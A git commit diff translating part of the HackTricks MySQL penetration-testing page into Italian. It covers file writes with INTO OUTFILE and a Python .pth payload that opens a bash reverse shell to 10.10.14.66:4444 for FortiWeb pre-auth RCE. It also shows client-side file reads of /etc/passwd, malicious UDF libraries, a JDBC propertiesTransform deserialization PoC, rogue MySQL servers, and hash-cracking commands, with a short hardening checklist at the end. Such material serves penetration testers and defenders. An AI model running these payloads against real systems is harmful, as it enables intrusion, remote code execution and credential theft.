Translated ['src/network-services-pentesting/pentesting-mysql.md'] to it

This commit is contained in:
Translator 2025-08-14 04:40:16 +00:00
parent a17c30854c
commit a54acd39dc

View File

@ -113,11 +113,11 @@ Puoi vedere nella documentazione il significato di ciascun privilegio: [https://
Abusando del classico `INTO OUTFILE` è possibile ottenere *l'esecuzione di codice arbitrario* su obiettivi che successivamente eseguono script **Python**.
1. Usa `INTO OUTFILE` per creare un file personalizzato **`.pth`** all'interno di qualsiasi directory caricata automaticamente da `site.py` (ad esempio `.../lib/python3.10/site-packages/`).
2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete viene avviato.
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), il payload viene eseguito con gli stessi privilegi del processo del server web (FortiWeb lo ha eseguito come **root** → RCE completa pre-autenticazione).
1. Usa `INTO OUTFILE` per creare un file personalizzato **`.pth`** all'interno di qualsiasi directory caricata automaticamente da `site.py` (ad es. `.../lib/python3.10/site-packages/`).
2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete si avvia.
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`), il payload viene eseguito con gli stessi privilegi del processo del server web (FortiWeb lo ha eseguito come **root** → RCE completo pre-autenticazione).
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario l'uso di hex/`UNHEX()` o concatenazione di stringhe):
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario hex/`UNHEX()` o concatenazione di stringhe):
```python
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
```
@ -129,7 +129,7 @@ Limitazioni importanti e bypass:
* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome file.
* Il percorso del file è risolto **rispetto alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti.
* Se l'input dell'attaccante viene estratto con `%128s` (o simile) qualsiasi spazio troncherà il payload; utilizzare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi.
* Se l'input dell'attaccante è estratto con `%128s` (o simile) qualsiasi spazio tronccherà il payload; utilizzare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi.
* L'utente MySQL che esegue la query ha bisogno del privilegio `FILE`, ma in molti dispositivi (ad es. FortiWeb) il servizio viene eseguito come **root**, dando accesso in scrittura quasi ovunque.
Dopo aver eliminato il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione del codice:
@ -148,7 +148,7 @@ uid=0(root) gid=0(root) groups=0(root)
## MySQL lettura arbitraria di file da parte del client
In realtà, quando provi a **caricare dati localmente in una tabella** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo server MySQL, puoi leggere file arbitrari.**\
In realtà, quando provi a **caricare dati localmente in una tabella** il **contenuto di un file** il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se riesci a manomettere un client mysql per connetterti al tuo server MySQL, puoi leggere file arbitrari.**\
Si prega di notare che questo è il comportamento utilizzando:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -172,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
### Utente Mysql
Sarà molto interessante se mysql è in esecuzione come **root**:
Sarà molto interessante se mysql sta girando come **root**:
```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
@ -210,7 +210,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
Se il **server mysql è in esecuzione come root** (o un altro utente con privilegi superiori), puoi farlo eseguire comandi. Per questo, devi utilizzare **funzioni definite dall'utente**. E per creare una funzione definita dall'utente avrai bisogno di una **libreria** per il sistema operativo che esegue mysql.
La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e all'interno di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli di **Windows**, scegli quello di cui hai bisogno.
La libreria malevola da utilizzare può essere trovata all'interno di sqlmap e dentro metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli per **Windows**, scegli quello di cui hai bisogno.
Se **non hai** quelle librerie, puoi **cercarle**, oppure scaricare questo [**codice C per linux**](https://www.exploit-db.com/exploits/1518) e **compilarlo all'interno della macchina vulnerabile linux**:
```bash
@ -615,7 +615,7 @@ x$waits_global_by_latency
{{#endtab}}
{{#endtabs}}
## HackTricks Comandi Automatici
## Comandi automatici HackTricks
```
Protocol_Name: MySql #Protocol Abbreviation if there is one.
Port_Number: 3306 #Comma separated if there is more than one.
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
```
## 2023-2025 Highlights (new)
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
A partire da Connector/J <= 8.0.32, un attaccante che può influenzare il **JDBC URL** (ad esempio in software di terze parti che richiede una stringa di connessione) può richiedere il caricamento di classi arbitrarie sul lato *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **esecuzione di codice remoto nel contesto del client JDBC** (pre-autenticazione, poiché non sono necessarie credenziali valide). Un PoC minimo appare così:
```java
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
```
Eseguire `Evil.class` può essere facile come produrlo nel class-path dell'applicazione vulnerabile o lasciare che un server MySQL malintenzionato invii un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 aggiorna il driver o imposta esplicitamente `propertiesTransform` su una lista di autorizzazione.
(Vedi il write-up di Snyk per i dettagli)
### Attacchi di server MySQL malintenzionati / falsi contro i client JDBC
Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare i client JDBC che si connettono verso l'esterno:
* **mysql-fake-server** (Java, supporta exploit di lettura file e deserializzazione)
* **rogue_mysql_server** (Python, capacità simili)
Percorsi di attacco tipici:
1. L'applicazione vittima carica `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`.
2. L'attaccante controlla DNS / voce host in modo che il nome host del DB si risolva in una macchina sotto il suo controllo.
3. Il server malevolo risponde con pacchetti creati ad hoc che attivano la lettura di file arbitrari `LOCAL INFILE` o la deserializzazione Java → RCE.
Esempio di one-liner per avviare un server falso (Java):
```bash
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
```
Poi punta l'applicazione vittima a `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` e leggi `/etc/passwd` codificando il nome del file in base64 nel campo *username* (`fileread_/etc/passwd``base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
### Cracking `caching_sha2_password` hashes
MySQL ≥ 8.0 memorizza gli hash delle password come **`$mysql-sha2$`** (SHA-256). Sia Hashcat (modalità **21100**) che John-the-Ripper (`--format=mysql-sha2`) supportano il cracking offline dal 2023. Dumpa la colonna `authentication_string` e alimentala direttamente:
```bash
# extract hashes
echo "$mysql-sha2$AABBCC…" > hashes.txt
# Hashcat
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
# John the Ripper
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
```
### Lista di controllo per il rafforzamento (2025)
• Imposta **`LOCAL_INFILE=0`** e **`--secure-file-priv=/var/empty`** per eliminare la maggior parte delle primitive di lettura/scrittura file.
• Rimuovi il privilegio **`FILE`** dagli account delle applicazioni.
• Su Connector/J imposta `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (vuoto).
• Disabilita i plugin di autenticazione non utilizzati e **richiedi TLS** (`require_secure_transport = ON`).
• Monitora per `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` e improvvisi comandi `SET GLOBAL`.
---
## Riferimenti
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
- [Oracle MySQL Connector/J propertiesTransform RCE CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
- [mysql-fake-server Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
{{#include ../banners/hacktricks-training.md}}